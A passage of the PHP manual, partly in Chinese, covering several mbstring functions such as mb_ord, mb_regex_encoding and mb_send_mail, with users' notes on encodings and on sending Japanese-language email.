unfortunately there is no reverse way to do this (eg. no function will return 'CP936' for 'GBK')

you could list all encoding names and their known aliases by doing something like
<?php
   print_r(
        array_unique(
            array_merge(
                $enc = mb_list_encodings(),
                call_user_func_array(
                    'array_merge',
                    array_map(
                            "mb_encoding_aliases",
                            $enc
                    )
                )
            )
        )
    );
?>
Jonadabe 24-Feb-2016 09:58
print "<pre>";
print_r(mb_list_encodings());

and got this on xampp in win8.1.

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => EUC-JP-2004
    [33] => SJIS-win
    [34] => SJIS-Mobile#DOCOMO
    [35] => SJIS-Mobile#KDDI
    [36] => SJIS-Mobile#SOFTBANK
    [37] => SJIS-mac
    [38] => SJIS-2004
    [39] => UTF-8-Mobile#DOCOMO
    [40] => UTF-8-Mobile#KDDI-A
    [41] => UTF-8-Mobile#KDDI-B
    [42] => UTF-8-Mobile#SOFTBANK
    [43] => CP932
    [44] => CP51932
    [45] => JIS
    [46] => ISO-2022-JP
    [47] => ISO-2022-JP-MS
    [48] => GB18030
    [49] => Windows-1252
    [50] => Windows-1254
    [51] => ISO-8859-1
    [52] => ISO-8859-2
    [53] => ISO-8859-3
    [54] => ISO-8859-4
    [55] => ISO-8859-5
    [56] => ISO-8859-6
    [57] => ISO-8859-7
    [58] => ISO-8859-8
    [59] => ISO-8859-9
    [60] => ISO-8859-10
    [61] => ISO-8859-13
    [62] => ISO-8859-14
    [63] => ISO-8859-15
    [64] => ISO-8859-16
    [65] => EUC-CN
    [66] => CP936
    [67] => HZ
    [68] => EUC-TW
    [69] => BIG-5
    [70] => CP950
    [71] => EUC-KR
    [72] => UHC
    [73] => ISO-2022-KR
    [74] => Windows-1251
    [75] => CP866
    [76] => KOI8-R
    [77] => KOI8-U
    [78] => ArmSCII-8
    [79] => CP850
    [80] => JIS-ms
    [81] => ISO-2022-JP-2004
    [82] => ISO-2022-JP-MOBILE#KDDI
    [83] => CP50220
    [84] => CP50220raw
    [85] => CP50221
    [86] => CP50222
)
bronze1man at gmail dot com 17-Oct-2013 01:59
Note: Not all accept encoding name string are here.
mb_convert_encoding() accept "gbk", but it is not here.


获取字符的 Unicode 码位值

  • ? mb_list_encodings
  • mb_output_handler ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取字符的 Unicode 码位值

mb_ord

(PHP 7 >= 7.2.0, PHP 8)

mb_ord — 获取字符的 Unicode 码位值

说明

mb_ord(string $string, ?string $encoding = null): int|false

返回所给定的字符的 Unicode 码位值。

此函数与 mb_chr() 互补。

参数

string

一个字符串。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

string 第一个字符的 Unicode 码位值， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

<?php
var_dump(mb_ord("A", "UTF-8"));
var_dump(mb_ord("??", "UTF-8"));
var_dump(mb_ord("\x80", "ISO-8859-1"));
var_dump(mb_ord("\x80", "Windows-1252"));
?>

以上示例会输出：

int(65)
int(128024)
int(128)
int(8364)

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • mb_chr() - 按 Unicode 码位值返回字符
  • IntlChar::ord() - Return Unicode code point value of character
  • ord() - 转换字符串第一个字节为 0-255 之间的值

User Contributed Notes

Andrew 14-Mar-2020 06:40
You can forget about DIY uniord()
https://www.php.net/manual/en/function.ord.php#42778

$array['Б'] = uniord('Б');
$array['??'] = uniord('??');
$array['mb_ord Б'] = mb_ord('Б');
$array['mb_ord ??'] = mb_ord('??');

function uniord($charUTF8)
{
$charUCS4 = mb_convert_encoding($charUTF8, 'UCS-4BE', 'UTF-8');
$byte1 = ord(substr($charUCS4, 0, 1));
$byte2 = ord(substr($charUCS4, 1, 1));
$byte3 = ord(substr($charUCS4, 2, 1));
$byte4 = ord(substr($charUCS4, 3, 1));
return ($byte1 << 32) + ($byte2 << 16) + ($byte3 << 8) + $byte4;
}

var_export($array);

Shows:

array ( 'Б' => 1041, '??' => 128695, 'mb_ord Б' => 1041, 'mb_ord ??' => 128695, )

https://unicode-table.com/en/0411/
Б
Encoding     hex     dec (bytes)     dec     binary
UTF-8         D0 91     208 145     53393     11010000 10010001
UTF-16BE     04 11     4 17     1041     00000100 00010001
UTF-16LE     11 04     17 4     4356     00010001 00000100
UTF-32BE     00 00 04 11     0 0 4 17     1041     00000000 00000000 00000100 00010001
UTF-32LE     11 04 00 00     17 4 0 0     285474816     00010001 00000100 00000000 00000000

https://unicode-table.com/en/1F6B7/
??
Encoding     hex     dec (bytes)     dec     binary
UTF-8         F0 9F 9A B7     240 159 154 183     4036991671     11110000 10011111 10011010 10110111
UTF-16BE     D8 3D DE B7     216 61 222 183     3627933367     11011000 00111101 11011110 10110111
UTF-16LE     3D D8 B7 DE     61 216 183 222     1037613022     00111101 11011000 10110111 11011110
UTF-32BE     00 01 F6 B7     0 1 246 183     128695     00000000 00000001 11110110 10110111
UTF-32LE     B7 F6 01 00     183 246 1 0     3086352640     10110111 11110110 00000001 00000000


在输出缓冲中转换字符编码的回调函数

  • ? mb_ord
  • mb_parse_str ?
  • PHP Manual
  • 多字节字符串 函数
  • 在输出缓冲中转换字符编码的回调函数

mb_output_handler

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_output_handler — 在输出缓冲中转换字符编码的回调函数

说明

mb_output_handler(string $string, int $status): string

mb_output_handler() 是一个
ob_start() 回调函数。
mb_output_handler() 将输出缓冲中的字符从内部字符编码转换为 HTTP 输出的字符编码。

参数

string

输出缓冲的内容。

status

输出缓冲的状态。

返回值

转换后的 string。

示例

Example #1 mb_output_handler() 示例

<?php
mb_http_output("UTF-8");
ob_start("mb_output_handler");
?>

注释

Note:

如果你想要输出二进制数据，比如图片，必须在任何二进制数据发送到客户端之前使用 header() 来设置 Content-Type: 头。（例如 header("Content-Type: image/png")）。 如果 Content-Type: 头已发送，输出字符编码的转换将不会执行。

注意，如果发送了 'Content-Type: text/*'，则内容被认为是文本，将发生转换。

参见

  • ob_start() - 打开输出控制缓冲

User Contributed Notes

There are no user contributed notes for this page.


解析 GET/POST/COOKIE 数据并设置全局变量

  • ? mb_output_handler
  • mb_preferred_mime_name ?
  • PHP Manual
  • 多字节字符串 函数
  • 解析 GET/POST/COOKIE 数据并设置全局变量

mb_parse_str

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_parse_str — 解析 GET/POST/COOKIE 数据并设置全局变量

说明

mb_parse_str(string $string, array &$result): bool

解析 GET/POST/COOKIE 数据并设置全局变量。 由于 PHP 不提供原始 POST/COOKIE 数据，目前它仅能够用于 GET 数据。 它解析了 URL 编码过的数据，检测其编码，并转换编码为内部编码，然后设置其值为 array 的 result 或者全局变量。

参数

string

URL 编码过的数据。

result

一个 array，包含解码过的、编码转换后的值。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 第二个参数不再可选。
7.2.0 | 弃用在没有第二个参数的时候调用 mb_parse_str()。

参见

  • mb_detect_order() - 设置/获取 字符编码的检测顺序
  • mb_internal_encoding() - 设置/获取内部字符编码

User Contributed Notes

kehaovista at qq dot com 23-Jan-2016 12:55
$str = 'email=kehaovista@qq.com&city=shanghai&job=Phper';
mb_parse_str($str, $result);
print_r($result);

//结果
Array
(
    [email] => kehaovista@qq.com
    [city] => shanghai
    [job] => Phper
)


获取 MIME 字符串

  • ? mb_parse_str
  • mb_regex_encoding ?
  • PHP Manual
  • 多字节字符串 函数
  • 获取 MIME 字符串

mb_preferred_mime_name

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_preferred_mime_name — 获取 MIME 字符串

说明

mb_preferred_mime_name(string $encoding): string|false

获取指定编码的 MIME 字符 string。

参数

encoding

要检查的字符串。

返回值

字符编码 encoding 的 MIME charset string，如果指定 encoding 没有首选字符集，则为 false。

示例

Example #1 mb_preferred_mime_name() 示例

<?php
$outputenc = "sjis-win";
mb_http_output($outputenc);
ob_start("mb_output_handler");
header("Content-Type: text/html; charset=" . mb_preferred_mime_name($outputenc));
?>

User Contributed Notes

There are no user contributed notes for this page.


Set/Get character encoding for multibyte regex

  • ? mb_preferred_mime_name
  • mb_regex_set_options ?
  • PHP Manual
  • 多字节字符串 函数
  • Set/Get character encoding for multibyte regex

mb_regex_encoding

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

mb_regex_encoding — Set/Get character encoding for multibyte regex

说明

mb_regex_encoding(?string $encoding = null): string|bool

Set/Get character encoding for a multibyte regex.

参数

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

If encoding is set, then 成功时返回 true， 或者在失败时返回 false。 In this case, the internal character encoding is NOT changed. If encoding is omitted, then the current character encoding name for a multibyte regex is returned.

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

GerryH 16-Sep-2017 01:49
mb_ereg functionality is provided via Oniguruma RegEx library and not via PCRE. mb_regex_encoding() does only support a subset of encoding names, compared to mb_list_encodings() and mb_encoding_aliases().
Currently the following names are supported (case-insensitive):

UCS-4
UCS-4LE
UTF-32
UTF-32BE
UTF-32LE
UTF-16
UTF-16BE
UTF-16LE
UTF-8
utf8
ASCII
US-ASCII
EUC-JP
eucJP
x-euc-jp
SJIS
eucJP-win
SJIS-win
CP932
MS932
Windows-31J
ISO-8859-1
ISO-8859-2
ISO-8859-3
ISO-8859-4
ISO-8859-5
ISO-8859-6
ISO-8859-7
ISO-8859-8
ISO-8859-9
ISO-8859-10
ISO-8859-13
ISO-8859-14
ISO-8859-15
ISO-8859-16
EUC-CN
EUC_CN
eucCN
gb2312
EUC-TW
EUC_TW
eucTW
BIG-5
CN-BIG5
BIG-FIVE
BIGFIVE
EUC-KR
EUC_KR
eucKR
KOI8-R
KOI8R

The list is a mixture of base names and aliases and applies to PHP 5.4.45 (Oniguruma lib v4.7.1), PHP 5.6.31 (v5.9.5), PHP 7.0.22 (v5.9.6) and PHP 7.1.8 (v5.9.6). Be aware of the inconsistency: mb_regex_encoding() accepts for example the base name 'UTF-8' and its only alias 'utf8', but it does not accept aliases 'utf16', 'utf32' or 'latin1'.

Additionally note, that the informal name/alias 'latin9' for ISO/IEC 8859-15:1999 (including the Euro sign on 0xA4) is also not known by mb_list_encodings(). It can only be adressed as 'ISO-8859-15' or 'ISO_8859-15' and for mb_regex_encoding() solely as 'ISO-8859-15'.
code at roberthairgrove dot com 03-Aug-2017 10:19
mb_regex_encoding does not recognize CP1252 or Windows-1252 as valid encodings, although they are in the list generated by mb_list_encodings.

ISO-8859-1 (AKA "Latin-1") is supported, but it's not the same as the Windows variety of Latin-1.
php dot net at phor dot net 31-Aug-2010 01:40
Beware, mb_regex_encoding does not support the same set of encodings as listed in mb_list_encodings.php

Example:

<?php
mb_internal_encoding('CP936');
mb_regex_encoding('CP936'); # this line produces an error
 ?>
Anonymous 28-Jun-2009 10:07
To change algo the regex_encodign
<?php
echo "current mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "changing mb_internal_encoding to UTF-8<br />";
mb_internal_encoding("UTF-8");
echo "new mb_internal_encoding: ".mb_internal_encoding()."<br />";

echo "current mb_regex_encoding: ".mb_regex_encoding()."<br />";
echo "changing mb_regex_encoding to UTF-8<br />";
mb_regex_encoding('UTF-8');
echo "new mb_regex_encoding: ".mb_regex_encoding()."<br />";
?>
zl at zl dot hu 29-May-2009 06:05
Return values vary in setting and getting:

<?php
  echo mb_regex_encoding();
  // returns encoding name as a string
?>

<?php
  echo mb_regex_encoding("UTF-8");
  // returns true (success) of false as a boolean
?>


Set/Get the default options for mbregex functions

  • ? mb_regex_encoding
  • mb_scrub ?
  • PHP Manual
  • 多字节字符串 函数
  • Set/Get the default options for mbregex functions

mb_regex_set_options

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_regex_set_options — Set/Get the default options for mbregex functions

说明

mb_regex_set_options(?string $options = null): string

Sets the default options described by options for multibyte regex functions.

参数

options

The options to set. This is a string where each character is an option. To set a mode, the mode character must be the last one set, however there can only be set one mode but multiple options.

Regex options
Option | Meaning | 更新日志
i | Ambiguity match on
x | Enables extended pattern form
m | '.' matches with newlines
s | '^' -> '\A', '$' -> '\Z'
p | Same as both the m and s options
l | Finds longest matches
n | Ignores empty matches
e | eval() resulting code | Deprecated as of PHP 7.1.0 and removed as of PHP 8.0.0

Note:

The "e" option has no effect when set through mb_regex_set_options(). Use it with mb_ereg_replace() or mb_eregi_replace().

Regex syntax modes (only one may be set)
Mode | Meaning
j | Java (Sun java.util.regex)
u | GNU regex
g | grep
c | Emacs
r | Ruby
z | Perl
b | POSIX Basic regex
d | POSIX Extended regex

返回值

The previous options. If options is omitted or null, it returns the string that describes the current options.

更新日志

版本 | 说明
8.0.0 | If the parameter options is given and not null, the previous options are returned. Formerly, the current options have been returned.
8.0.0 | options is nullable now.
8.0.0 | The "e" option now throws a ValueError.
7.1.0 | The "e" option now emits an E_DEPRECATED.

参见

  • mb_split() - 使用正则表达式分割多字节字符串
  • mb_ereg() - Regular expression match with multibyte support
  • mb_eregi() - Regular expression match ignoring case with multibyte support

User Contributed Notes

indeyets at php dot net 27-Nov-2009 02:58
It's a bit trickier, than patryk wrote:

There are parameters (you can specify several of these at the same time):

'i': ONIG_OPTION_IGNORECASE;
'x': ONIG_OPTION_EXTEND;
'm': ONIG_OPTION_MULTILINE;
's': ONIG_OPTION_SINGLELINE;
'p': ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE;
'l': ONIG_OPTION_FIND_LONGEST;
'n': ONIG_OPTION_FIND_NOT_EMPTY;
'e': eval() resulting code

And there are "modes" (if you specify several of these, the LAST one will be used):
'j': ONIG_SYNTAX_JAVA;
'u': ONIG_SYNTAX_GNU_REGEX;
'g': ONIG_SYNTAX_GREP;
'c': ONIG_SYNTAX_EMACS;
'r': ONIG_SYNTAX_RUBY;
'z': ONIG_SYNTAX_PERL;
'b': ONIG_SYNTAX_POSIX_BASIC;
'd': ONIG_SYNTAX_POSIX_EXTENDED;

You can find descriptions of these constants here: http://www.geocities.jp/kosako3/oniguruma/doc/API.txt
patryk dot szczyglowski at gmail dot com 12-Dec-2008 10:12
Supported options are:

i - ONIG_OPTION_IGNORECASE
x - ONIG_OPTION_EXTEND
m - ONIG_OPTION_MULTILINE
s - ONIG_OPTION_SINGLELINE
p - ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE
l - ONIG_OPTION_FIND_LONGEST
n - ONIG_OPTION_FIND_NOT_EMPTY
j - ONIG_SYNTAX_JAVA
u - ONIG_SYNTAX_GNU_REGEX
g - ONIG_SYNTAX_GREP
c - ONIG_SYNTAX_EMACS
r - ONIG_SYNTAX_RUBY
z - ONIG_SYNTAX_PERL
b - ONIG_SYNTAX_POSIX_BASIC
d - ONIG_SYNTAX_POSIX_EXTENDED
e - eval() resulting code

Constants above are from Oniguruma regexp library, which is used internally. Default value for PHP 5.2.x is 'pr'.


Replace ill-formed byte sequences with the substitute character

  • ? mb_regex_set_options
  • mb_send_mail ?
  • PHP Manual
  • 多字节字符串 函数
  • Replace ill-formed byte sequences with the substitute character

mb_scrub

(PHP 7 >= 7.2.0, PHP 8)

mb_scrub — Replace ill-formed byte sequences with the substitute character

说明

mb_scrub(string $string, ?string $encoding = null): string

Perform a character set conversion from the specified encoding, or the default encoding if no encoding was specified, to the same encoding. This has the effect of replacing any invalid byte sequences with the substitute character.

参数

string

The input string.

encoding

The encoding used to interpret string. If it is omitted or null, the mbstring.internal_encoding setting will be used if set, otherwise the default_charset setting will be used.

返回值

The string result with invalid byte sequences replaced.

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

User Contributed Notes

Sammitch 06-Mar-2018 08:32
Replaces 'ill-formed' byte sequences with '?'.

See: https://github.com/php/php-src/pull/1099


发送编码过的邮件

  • ? mb_scrub
  • mb_split ?
  • PHP Manual
  • 多字节字符串 函数
  • 发送编码过的邮件

mb_send_mail

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_send_mail — 发送编码过的邮件

说明

mb_send_mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
?string $additional_params = null
): bool

发送邮件。邮件头和内容根据 mb_language() 设置来转换编码。 这是 mail() 的一个包装器函数，所以详情参见 mail()。

参数

to

被发送到该邮件地址。可通过逗号分隔地址的 to 来指定多个收件人。 该参数不会被自动编码。

subject

邮件标题。

message

邮件消息。

additional_headers（可选）

要插入到电子邮件标头末尾的 string 或 array。

这通常用于添加额外的标头（发件人、抄送和密件抄送）。多个额外的标头应该用 CRLF（\r\n）分隔。验证参数不会被攻击者注入不需要的标头。

如果传递 array，则其键是标头名称，其值是相应的标头值。

Note:

发送邮件时，邮件必须包含 From 标头。这可以使用 additional_headers 参数设置，或者可以在 php.ini 中设置默认值。

如果不这样做，将导致类似于 Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing 的错误消息。From 标头还设置了 Windows 下的 Return-Path。

Note:

如果未收到消息，请尝试仅使用 LF（\n）。一些 Unix 邮件传输代理（最著名的是 » qmail）自动将 LF 替换为 CRLF（如果使用 CRLF，这会导致两个 CR）。这应该是最后的手段，因为它不符合 » RFC 2822。

additional_params

additional_params 是一个 MTA 命令行参数。在使用 sendmail 时对设置正确的返回路径头很有帮助。

该参数由 escapeshellcmd() 内部转义以防止命令执行。escapeshellcmd() 阻止命令执行，但允许添加额外的参数。出于安全原因，应该验证此参数。

Since escapeshellcmd() is applied automatically, some characters that are allowed as email addresses by internet RFCs cannot be used. Programs that are required to use these characters mail() cannot be used.

Web 服务器运行的用户应作为受信任的用户添加到 sendmail 配置中，以防止在使用此方法设置信封发件人（-f）时将"X-Warning"标头添加到邮件中。对于 sendmail 用户，此文件为 /etc/mail/trusted-users。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | additional_params 现在可为 null。
7.2.0 | additional_headers 参数现在也接受 array。

参见

  • mail() - 发送邮件
  • mb_encode_mimeheader() - 为 MIME 头编码字符串
  • mb_language() - 设置/获取当前的语言

User Contributed Notes

Filip 18-Apr-2015 09:52
I had to use mb_internal_encoding() also to get properly encoded message.
contact-form at contactrobot dot com 04-Jan-2013 11:52
While using the right tags mentioned in other comments (mb_internal_encoding, Content-Type, etc) ...

mb_send_mail would properly encode special characters in plain text emails, for both subject and message

mb_send_mail would not properly encode special characters in subject for multi-part messages (text+html)
Anonymous 20-Jan-2010 03:20
If you have problem using mb_send_mail to send utf-8 mails, you have to know the following things (I've spent hours on the net before finding the correct php code) :

- You have to use the mb_encode_mimeheader function on the sender name and on the recipient name (on names, not on emails !).
- Subject and message are automatically encoded.
- Add - at least - the following header :

$headers = "Mime-Version: 1.0\n";
$headers .= "Content-Type: text/plain;CHARSET=gb2312\n";
$headers .= "From: $sender";

- Last but not least, beware of the internal encoding, which is needed by mb_encode_mimeheader function in order to encode properly. I had to set the internal encoding to UTF-8 in order to make it work properly :

mb_internal_encoding("UTF-8");
Sohel Taslim 18-Sep-2007 11:00
Easy and simple....
Send an email with Japanese contain.

<?php

/**
     * @name                    : sendMail
     * @author Taslim Mazumder Sohel
     * @mailsohel62@yahoo.com
     * Function for sending email
     *with Japanese Email Body, Subject, Sender Name.
     *
     * @param String $to               : Receiver mail address.
     * @param String $subject          : email subject.
     * @param int    $body            : mail body text.
     * @param array  $from_email    : Sender mail address.
     * @param array  $from_name      : Sender Name.
     *
     */
function sendMail($to, $subject, $body, $from_email,$from_name)
 {
$headers  = "MIME-Version: 1.0 \n" ;
$headers .= "From: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";
$headers .= "Reply-To: " .
       "".mb_encode_mimeheader (mb_convert_encoding($from_name,"ISO-2022-JP","AUTO")) ."" .
       "<".$from_email."> \n";

$headers .= "Content-Type: text/plain;charset=ISO-2022-JP \n";

/* Convert body to same encoding as stated
in Content-Type header above */

$body = mb_convert_encoding($body, "ISO-2022-JP","AUTO");

/* Mail, optional paramiters. */
$sendmail_params  = "-f$from_email";

mb_language("ja");
$subject = mb_convert_encoding($subject, "ISO-2022-JP","AUTO");
$subject = mb_encode_mimeheader($subject);

$result = mail($to, $subject, $body, $headers, $sendmail_params);

return $result;
}

?>
noting@nowhere 19-Apr-2007 05:44
Yes, as far as I understood the function encodes the entrire message body with base64 and that's why it can be used to send messages with attachments.
30-Jan-2007 04:53
Be careful, mb_send_mail chokes if you try and send a multipart e-mail.
bredfern at calarts dot edu 22-Jun-2004 03:07
Make sure that if you're using a form to type in the mail, that your form page has the right encoding, like if I want to send out a japanese email, by filling out a form, the form page needs this in the header:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=SHIFT-JIS">
dynamis at skillup dot jp 29-Aug-2003 06:35
# self-fix...
I posted "encode_mimeheader" workaround on the day before. But I found that the code depends on platforms. :(

In some platforms, hedders(after the header splited into two or more lines) will appear in the body content.
The cause is that 'there are some platforms where the translation from \n to \r\n is apparently done for you'.
# See the post by "leon at ietsmet dot nl" about mail function (23-Apr-2003).

Now, all you have to do is just changing the glue string from "\r\n " to "\n ".

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}

should be below in some platform...

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
         ..... lefted out (all same).....
  $str = join("\n ", $lines);
  // Though RFC 2047,822 say newline must be \r\n, not only \n,
  // in my platform, auto replacement will be done (accepts \n and \n\r\n -> \n\n)...
  return $str;
}

# notice: In both code, 1 space after newline is essential (gule str is *not* only "\r\n" nor "\n").
# This space is ignored only between encoded-words.

    c.f. about efficiency

Thinking about efficiency, my encode_mimeheader may have to determine where to split string into lines without mb_encode_mimeheader in the determining loop. But that loop will be repeated only one or a few times and this function  will be usually used against not so long string. So, this loss is not critical in most case.
If you use only one encoding, you can easily check ascii or multi-byte char one by one accoding to the definition of the encoding and determining splitting point (this is far faster), but when you have to handle all encoding that is not so easy. At least, I don't want to touch. :p
To accept *any* encoding (encoding name will be passed as argument), you can use this code. This is because I post non-efficient code like this.
# Though I'm not sure whether the code actually work well with all encoding...
dynamis at skillup dot jp 19-Jul-2003 04:50
As others say, mb_encode_mimeheader() seems to have a bug with JIS(ISO-2022-JP) encording. Token indicating start and end of multibyte char is inserted only before start of encoding and after the all.
We need the tokens at start and end of *all* encoded-text.
# PHP 4.3.2

So, we needs some workaround.

The post by "gordon at kanazawa-gu dot ac dot jp" seems to work well, but it doesn't. JIS nees some special tokens and base64_encode does'nt output them, so the code cannot used.

The post "RE: N03L in Japan", which simply splitting words in eash 10 chars is good enough in most case, there are some problem left. When there are some splited parts starting with ascii chars, 1 additional space will be inserted.
# RFC2047 only say within 76 words, shorter is not bad.

Additionally, thought it is really rare case, when we use "=?charset?" as literal string, we have to escape them.
# Some mailer can actually send this without escape and header will be broken. :(

Now, a little non-smart but maybe more accurate code is below function. I tested only with ISO-2022-JP, only in costomized phpBB2.0.5, only some cases.
As far as my test this code worked well, but I'm not sure.

# $str: source text
# $indent: ex. for "Subject: " header, give 9 and first line will be shorter than 76-1-9=66
# $encoding: source text encoding
# $mail_encoding: $str will be converted into this before base64 encode

function encode_mimeheader($str, $indent = 0, $encoding = 'utf-8', $mail_encoding = 'iso-2022-jp')
{
  $start_delimiter = strtoupper("=?$mail_encoding?B?");
  $start_pattern   = strtoupper("=\\?$mail_encoding\\?B\\?");
  $end_delimiter   = '?=';

  $str = mb_convert_encoding($str, $mail_encoding, $encoding);
  $length  = mb_strlen($str, $mail_encoding);
  $max_part_length = 20; // enough short in most case (you can change this default value)

  for ($i=0, $index=0; $index<$length; $i++) {
    $part_length = $max_part_length;
    $s = mb_substr($str, $index, $part_length, $mail_encoding);
    // workaround for literally used start delimiter (without below, subject may break)
    // note: mb_encode_mimeheader() don't encode ascii including start delimiter
    if (preg_match('/^' . $start_pattern . '/i', $s))
    {
      $lines[$i] = $start_delimiter . base64_encode($start_delimiter) . "?=";
      $index += strlen($start_delimiter);
      continue;
    }

    $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    while (strlen($lines[$i]) > 76-1 - ($i?0:$indent)) { // max par line - first space - indent (first line only)
      $part_length = floor($part_length * (76-1 - ($i?0:$indent)) / strlen($lines[$i])); // at least 1 decrement
      $s = mb_substr($str, $index, $part_length, $mail_encoding);
      $lines[$i] = mb_encode_mimeheader($s, $mail_encoding);
    }

    // workaround for starting new line with ascii (without below, 1 space may cut in)
    // note: mb_encode_mimeheader() starts encode after encounterring multibyte char
    if ($i > 0 && !preg_match('/^' . $start_pattern . '/i', $lines[$i]))
    {
      $p = strpos($lines[$i], $start_delimiter); //never 0 (false when not found)
      $p = $p ? $p : strlen($lines[$i]);
      $lines[$i] = $start_delimiter . base64_encode(substr($lines[$i], 0, $p)) . "?=";
      $part_length = $p;
    }
    $index += $part_length;
  }
  $str = join("\r\n ", $lines); // RFC 2047,822 say newline must be ^\r\n, not only\n
  return $str;
}
RE: N03L in Japan 22-May-2003 02:01
I have to use Japanese hankaku (single byte kana in (S)JIS) in mail subject and message,
so I tried the way that NO3L in Japan said, but I found there's a big problem.
In that way, mb_encode_mimeheader drop escape sequence from the head of encoded string from second line.
if you use long letter in subject, and if it includes multi byte string, It must crashed.
Therefore, if you want to use Japanese hankaku in mail subject, you might try like this.
Encoded subject letters in one line is not just 76 letters, so it is not based on RFC, but it work.

$intSubjectLength  = mb_strlen($strSubject);
$intSeparateLength = 10;
for ($i=0; $i<ceil($intSubjectLength / $intSeparateLength); $i++) {
    $arrSeparatedSubject[$i] = mb_substr($strSubject, $intIndex, $intSeparateLength);
    $arrSeparatedSubject[$i] = mb_encode_mimeheader(mb_convert_encoding($arrSeparatedSubject[$i], "JIS", "EUC-JP"));
    $intIndex = $intIndex + $intSeparateLength;
}
$strSubject = join("\n ", $arrSeparatedSubject);
Ran Hamada ( rhamada at sdcj dot co dot jp ) 08-Apr-2003 09:24
You may not use mb_encode_mimeheader() with mb_convert_encoding() to make subject as follows. It causes mojibake in several strings.
mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") )

Set mb_internal_encoding() to *subject's* encoding and call mb_encode_mimeheader.

Example)

    $__lang = mb_language();
    $__enc = mb_internal_encoding();
    mb_language("Japanese");
    mb_internal_encoding( mb_detect_encoding($subject) );
    #mb_internal_encoding( "EUC-JP" ); #just do when you know encoding of $subject
    mail($to,
        mb_encode_mimeheader($subject),
        mb_convert_encoding($msg,"JIS","AUTO"),$header);
    mb_internal_encoding( $__enc );
    mb_language($__lang);
phpguru at hotmail dot com 26-Feb-2003 11:29
There is another way of encoding Japanese language to send email without worrying about mb_functions:

Download PHP Jcode from http://www.spencernetwork.org/
and use JcodeConvert function with base64_encode function for the e-mail header and the subject.

$email_to = "blah@blah.com";

$_POST["name"] = strip_tags(trim($_POST["name"]));
$name = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["name"], 2, 3)). "?=";
$_POST["email"] = strip_tags(trim($_POST["email"]));
$_POST["subject"] = strip_tags(trim($_POST["subject"]));
$email_subject = "=?ISO-2022-JP?B?". base64_encode(JcodeConvert($_POST["subject"], 2, 3)). "?=";
$_POST["body"] = strip_tags(trim($_POST["body"]));

$email_header = "From: $name <". $_POST["email"] .">\n";
$email_header .= "Reply-To: ". $_POST["email"] ."\n";
$email_header .= "Content-transfer-encoding: 7bit\n";
$email_header .= "Content-type: text/plain; charset=\"iso-2022-jp\"\n\n";

$email_body = "blah blah blah.\n"

mail($email_to, $email_subject, $email_body, $email_header);
N03L in Japan 23-Feb-2003 09:29
First of all, don't use nl2br in newer php versions unless you WANT to write xhtml...you'll get <br /> tags.

Secondly, you should use JIS, not ISO-2022-JP as the convert TO encoding.  If you use ISO... mb_encode_mimeheader seems to fail. They're the same charset anyway.

Now here's why I am really writing.  I just discovered that mb_send_mail and mb_encode_mimeheader cannot support hankaku (single byte kana in (S)JIS) at all.  If you are making apps for the keitai (mobile) market, this won't do.  Therefore, undo your overloading on the mail function and use regular mail and convert everything yourself like this.  This is what we did.  It seems to work for us.  Your mileage may vary.

$strMBS = mb_convert_encoding($strMailBodySend, "JIS", "EUC-JP");

$strMS  = mb_encode_mimeheader( mb_convert_encoding($strMailSubj, "JIS", "EUC-JP") );

mail($strToMail, $strMS, $strMBS, $strFrom);
jc AT mega-bucks DOT co DOT jp 05-Feb-2003 12:58
I was trying to send japanese email and had a hell of a time getting it to work. I finally stumbled across mb_send_mail() and it did everything I wanted *except* that it only send plain text emails ... sending HTML contents was impossible.

I finally whipped this up. I'm posting in case someone finds it useful.

function send_japanese_mail($to, $subject, $body, $from, $from_email, $is_html_content=false) {

   $headers  = "MIME-Version: 1.0\\n" ;
